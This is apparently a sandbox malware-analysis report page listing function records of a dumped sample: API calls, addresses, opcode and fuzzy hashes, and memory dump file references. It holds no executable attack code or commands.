Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: e3f9381ae5e92c41fa7bc988303b78ae0c23f0d298110feac5869ad3922c186a
Instruction ID: 487ddd5e51792fbaa5fbf6da03ac4def0d8ffac720c283cf678029798bb85708
Opcode Fuzzy Hash: e3f9381ae5e92c41fa7bc988303b78ae0c23f0d298110feac5869ad3922c186a
Instruction Fuzzy Hash: 33118671A09244DEEB25DB79C5457EEBBE8DF45300F10449EE446D3282DBB89F04C762

Function 00BA9215 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BA921A

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 16c223ca42c389179cc9f5a151989fbbc87e6eef19a6da311592d80b623b6177
Instruction ID: 03b6f6e63fd44ed06b2151e92b21756b4e4ed9f69d4417c211d955bf2b40b80b
Opcode Fuzzy Hash: 16c223ca42c389179cc9f5a151989fbbc87e6eef19a6da311592d80b623b6177
Instruction Fuzzy Hash: D701A533D04528ABCF12ABA8CC81ADEB7F1EF8A750F0145A5F812B7212DA34CD04D6A0

Function 00BC3C0D Relevance: 1.5, APIs: 1, Instructions: 34libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00BC3C3F

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 90c52bdfdba522c8f919ecbc21ec18ed1ea6a6610682aa46bc9c249ebb661062
Instruction ID: 4cfc6d1b1715f41f5bea9fc4de46ce542861f332f1cab708efecf4a1be85aa56
Opcode Fuzzy Hash: 90c52bdfdba522c8f919ecbc21ec18ed1ea6a6610682aa46bc9c249ebb661062
Instruction Fuzzy Hash: BCF08C3620031A9FCF128EA8EC14F9F77E9EB01F207548169FA15E7190EB31DA20D7A0

Function 00BC8E06 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00BCCA2C,00000000,?,00BC6CBE,?,00000008,?,00BC91E0,?,?,?), ref: 00BC8E38

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 32b134eab1a18dc8f3654e32ef6e8b43ad652d4e7802fc29fc3bc73ec3b87a18
Instruction ID: 357a680f628263051d88edaa869c671298c6fe1b551a788a55c72db6ff1a19f6
Opcode Fuzzy Hash: 32b134eab1a18dc8f3654e32ef6e8b43ad652d4e7802fc29fc3bc73ec3b87a18
Instruction Fuzzy Hash: 54E06D3160622767EB7226A59C09F9F76C8DF817A4F1501E9BC18AB092DF21CC0186E1

Function 00BA5ABD Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BA5AC2

Part of subcall function 00BAB505: __EH_prolog.LIBCMT ref: 00BAB50A

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 9ce9c541a568a2f583813ba9c6d1543de699fc0b5c4fa552f5be15a877f1260a
Instruction ID: cf928897c17cdd3e5f0eaf9edde89dfdb94277303a2c1fefb31cf276c6eb655b
Opcode Fuzzy Hash: 9ce9c541a568a2f583813ba9c6d1543de699fc0b5c4fa552f5be15a877f1260a
Instruction Fuzzy Hash: 97016930924690DAD729F7A8C0517FEFBF49F64304F5084CEA46663282CBB41B08D6A2

Function 00BAA56D Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 00BAA69B: FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00BAA592,000000FF,?,?), ref: 00BAA6C4
Part of subcall function 00BAA69B: FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,00BAA592,000000FF,?,?), ref: 00BAA6F2
Part of subcall function 00BAA69B: GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00BAA592,000000FF,?,?), ref: 00BAA6FE

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00BAA598

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: 0b853ac186c8c505b962c5b6c2151e48ebcd418ce1e1f2d7862c3a0238922e7c
Instruction ID: 0f543557c46e7295b51dbe2b6d24631d8b0f58622552937f378d60b8f064a30b
Opcode Fuzzy Hash: 0b853ac186c8c505b962c5b6c2151e48ebcd418ce1e1f2d7862c3a0238922e7c
Instruction Fuzzy Hash: 65F05E3140D790AACA225BB48904BCABBD06F2B321F048A8AF1F952196C36550A4DB33

Function 00BB0E08 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 00BB0E3D

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: ccba69ea8192b6dbfaf158a2cdeac4be8ae64ece7a3fa3a699d98aa160b4a32c
Instruction ID: d4aedb9b678c68b8d4d41cefd23b2464e3477648120cfa2a953bef2c2bb1f78e
Opcode Fuzzy Hash: ccba69ea8192b6dbfaf158a2cdeac4be8ae64ece7a3fa3a699d98aa160b4a32c
Instruction Fuzzy Hash: 1ED0C221A1A09417DB21332C68757FF26C6CFC7320F0C08E6B1455B183DE944882A262

Function 00BBA626 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 00BBA62C

Part of subcall function 00BBA3B9: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00BBA3DA

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction ID: 2a2a9f31c99a2acc5674450d9cad253d684315b208a9a2892a0f7db99a937e73
Opcode Fuzzy Hash: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction Fuzzy Hash: 2AD0C9B1A10209BBDF466F618C529FE7AD9EB00340F0481A5B842D5192EEF1E910A666

Function 00BBE5BB Relevance: 1.5, APIs: 1, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadProtectSection.DELAYIMP ref: 00BBE5E3

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: DloadProtectSection
String ID:
API String ID: 2203082970-0
Opcode ID: 903204d0013fba60ba0e1fa355ab3232a0f8fb366764f439864ca25a4a8bd414
Instruction ID: 28c6dc4895f39bb4a9edf18e851ee28cef3aec9c4e08ac4f53a8386c20d7c692
Opcode Fuzzy Hash: 903204d0013fba60ba0e1fa355ab3232a0f8fb366764f439864ca25a4a8bd414
Instruction Fuzzy Hash: 29D0C9B01802409BE622EBA99886BF877D4B724705FA80191B569924B5DBE4C481C615

Function 00BBDD6D Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,00000000,00BB1B3E), ref: 00BBDD92

Part of subcall function 00BBB568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00BBB579
Part of subcall function 00BBB568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00BBB58A
Part of subcall function 00BBB568: IsDialogMessageW.USER32(0006021C,?), ref: 00BBB59E
Part of subcall function 00BBB568: TranslateMessage.USER32(?), ref: 00BBB5AC
Part of subcall function 00BBB568: DispatchMessageW.USER32(?), ref: 00BBB5B6

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: 4b2f0309c6825968b281260e7d19866eabaece2e465799e746ad710e858cab0e
Instruction ID: bfc667189c9b0000a0189f6c936880ce646b6ec6b0757c274c6754dcce313fd8
Opcode Fuzzy Hash: 4b2f0309c6825968b281260e7d19866eabaece2e465799e746ad710e858cab0e
Instruction Fuzzy Hash: 43D09E31154340BBDA112B51DD06F5F7AE6AB98B04F004594B285740F18AB2DD21DB12

Function 00BA98BC Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,00BA97BE), ref: 00BA98C8

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 48a7fb012598134a5dbdb23bd46f1d5638a98befb9c332c3062fc72001a27df6
Instruction ID: e564eb5a92220abb11d9364fa9332ae5dc09631c4c2c069330520ac66bb44165
Opcode Fuzzy Hash: 48a7fb012598134a5dbdb23bd46f1d5638a98befb9c332c3062fc72001a27df6
Instruction Fuzzy Hash: 8EC01238408205868E208B249848099B3A2EE537E67B486D4C0388A0E2C32ACC87FA11

Function 00BBE1F6 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3c14ea71a1d54747e529bf36bcff3f90f623037484e4ec26bcd608171c33c7e5
Instruction ID: 769aa33f161ba3b7afc27ddc446731c3e2a986ad76dadd8bf907502a7dc291e2
Opcode Fuzzy Hash: 3c14ea71a1d54747e529bf36bcff3f90f623037484e4ec26bcd608171c33c7e5
Instruction Fuzzy Hash: C7B012E1258141EE350452096C03CFB01CDC0C5B10330C0BFFC25C02E0F8C0EC044471

Function 00BBE1EC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ca2a0e108d50411e120310cb8fa60577801a90ed275e8ed8dedb66170b249429
Instruction ID: e462d60dce24eb14fb20c87c660e64d25281ca35693b358879716cf626e7645c
Opcode Fuzzy Hash: ca2a0e108d50411e120310cb8fa60577801a90ed275e8ed8dedb66170b249429
Instruction Fuzzy Hash: 3EB092E5258141AE350451496C42CBB01CDD088B1033080AAB825C01A0E880AC004531

Function 00BBE1D1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 89ed5e6f6fec5d1e22b7b595418615b2b96d274d41fc85de5394e1143e2dd532
Instruction ID: e7c26191aafc05ce2e0739d32266ea653d20a0b683c6c4391781299586956f84
Opcode Fuzzy Hash: 89ed5e6f6fec5d1e22b7b595418615b2b96d274d41fc85de5394e1143e2dd532
Instruction Fuzzy Hash: 34B092E5258141AE250411496C42CBB018DC085B10330C4AAB821D04A0E880EC004471

Function 00BBE282 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 777ba39b5e2f6be3b6f8c5a5d13f1738c7c0dab78e96d8e0bfce0304d33dfaa4
Instruction ID: e89ff77e0034de3e7e38fffc6dfe3528a9a8aba8311364736fdb328905ecf53b
Opcode Fuzzy Hash: 777ba39b5e2f6be3b6f8c5a5d13f1738c7c0dab78e96d8e0bfce0304d33dfaa4
Instruction Fuzzy Hash: 58B012F1258041AE3504510A6D03CFB41DDC0C4B10330C0BFF825C01E0FCC0ED014431

Function 00BBE23C Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e84aa5dafaa8f7dc0a10fcc62056a2a88d51740498120c120bf4b2feecc4e63a
Instruction ID: a9003eb86a3f5949ca9d528943bf91145bd1f2f8e273be97ee1e05a96fa2e551
Opcode Fuzzy Hash: e84aa5dafaa8f7dc0a10fcc62056a2a88d51740498120c120bf4b2feecc4e63a
Instruction Fuzzy Hash: E1B012F1258041AE3604510A6C03CFB41CDD0C8F10330C0BFF826C01E0F8C0ED004431

Function 00BBE232 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 155053dd01a6ad98ac383aeb36311e4c29ee6f1edc7be2d2fe8f238aa1e5afe3
Instruction ID: 3938156ff77f425370d9cb93d692401774b70fe0a28ad445f63939969f796b91
Opcode Fuzzy Hash: 155053dd01a6ad98ac383aeb36311e4c29ee6f1edc7be2d2fe8f238aa1e5afe3
Instruction Fuzzy Hash: 9EB092E1258041AE2604510A6D02DBA41CDC084B1033080AAB826C01A0E880AA014431

Function 00BBE228 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4d9f9682c8edd506657151fa2b4a9b006c8e206a209ebc5bcb14bc4b3ddf1b8f
